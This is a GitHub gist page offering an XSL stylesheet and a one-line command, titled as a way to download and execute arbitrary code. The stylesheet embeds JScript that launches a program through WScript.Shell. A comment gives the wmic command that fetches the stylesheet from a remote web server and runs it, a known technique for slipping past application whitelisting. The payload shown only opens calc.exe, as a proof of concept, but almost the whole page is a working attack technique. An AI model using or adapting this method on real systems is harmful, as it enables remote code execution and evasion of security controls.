-
-
Save timoxa0/7ee0a30bb98cfa35c71029264ca99815 to your computer and use it in GitHub Desktop.
Oneliner for arbitrary code download and execution
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version='1.0'?> | |
| <!-- Discovered by @SubTee and @mattifestation --> | |
| <!-- Execute with: wmic os get /format:"https://webserver/wmic.xsl" --> | |
| <stylesheet | |
| xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" | |
| xmlns:user="placeholder" | |
| version="1.0"> | |
| <output method="text"/> | |
| <ms:script implements-prefix="user" language="JScript"> | |
| <![CDATA[ | |
| var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); | |
| ]]> </ms:script> | |
| </stylesheet> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment